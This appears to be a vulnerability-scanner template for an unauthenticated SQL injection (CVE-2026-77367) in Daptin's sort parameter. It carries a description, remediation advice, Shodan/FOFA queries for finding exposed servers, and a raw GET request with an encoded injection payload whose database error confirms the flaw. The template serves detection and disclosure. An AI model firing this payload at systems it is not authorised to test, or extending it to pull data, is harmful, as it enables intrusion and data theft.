Daptin 0.12.29 and earlier contains an unauthenticated SQL injection in the sort query parameter of the generic entity list endpoint (GET /api/<entity>). PaginatedFindAllWithoutFilters passes each sort value to goqu.I() without checking that the column exists, and the backtick quote character is not escaped, so a backtick in sort closes the identifier and the rest of the value is parsed as SQL.
id: CVE-2026-77367
info:
name: Daptin <= 0.12.29 - SQL Injection
author: s4e-io
severity: critical
description: |
Daptin 0.12.29 and earlier contains an unauthenticated SQL injection in the sort query parameter of the generic entity list endpoint (GET /api/<entity>). PaginatedFindAllWithoutFilters passes each sort value to goqu.I() without checking that the column exists, and the backtick quote character is not escaped, so a backtick in sort closes the identifier and the rest of the value is parsed as SQL.
impact: |
Unauthenticated attackers can inject SQL into the list query of every entity, bypass the row permission filter, extract data through error-based or blind techniques and make list requests fail.
remediation: |
Upgrade to version 0.12.30 or later, which validates every sort column against the table schema.
reference:
- https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm
- https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf
- https://github.com/daptin/daptin/releases/tag/v0.12.30
- https://nvd.nist.gov/vuln/detail/CVE-2026-77367
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
cvss-score: 9.4
cve-id: CVE-2026-77367
epss-score: 0.02341
epss-percentile: 0.84151
cwe-id: CWE-89,CWE-20
metadata:
verified: true
max-request: 1
vendor: daptin
product: daptin
shodan-query: http.title:"Daptin"
fofa-query: title="Daptin"
tags: cve,cve2026,daptin,sqli,unauth
variables:
column: "{{to_lower(rand_text_alpha(10))}}"
http:
- raw:
- |
GET /api/world?page%5Bsize%5D=1&sort=id%60%20FROM%20%60world%60%20WHERE%20%60{{column}}%60%2F%2A HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(content_type, "application/vnd.api+json")'
- 'contains(body, "{\"errors\":[{\"status\":\"500\"")'
- 'contains(body, concat("\"title\":\"no such column: ", column, "\""))'
condition: and
# digest: 4b0a00483046022100dfabd23699b2a4df8a21b1048f3f3fde78483f6ac39d2b112bb09679b7724b9c0221009552dfe131aaece3555021cca15ae355d6e96764b2ec4b5ec3f142e1e5ece8ed:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.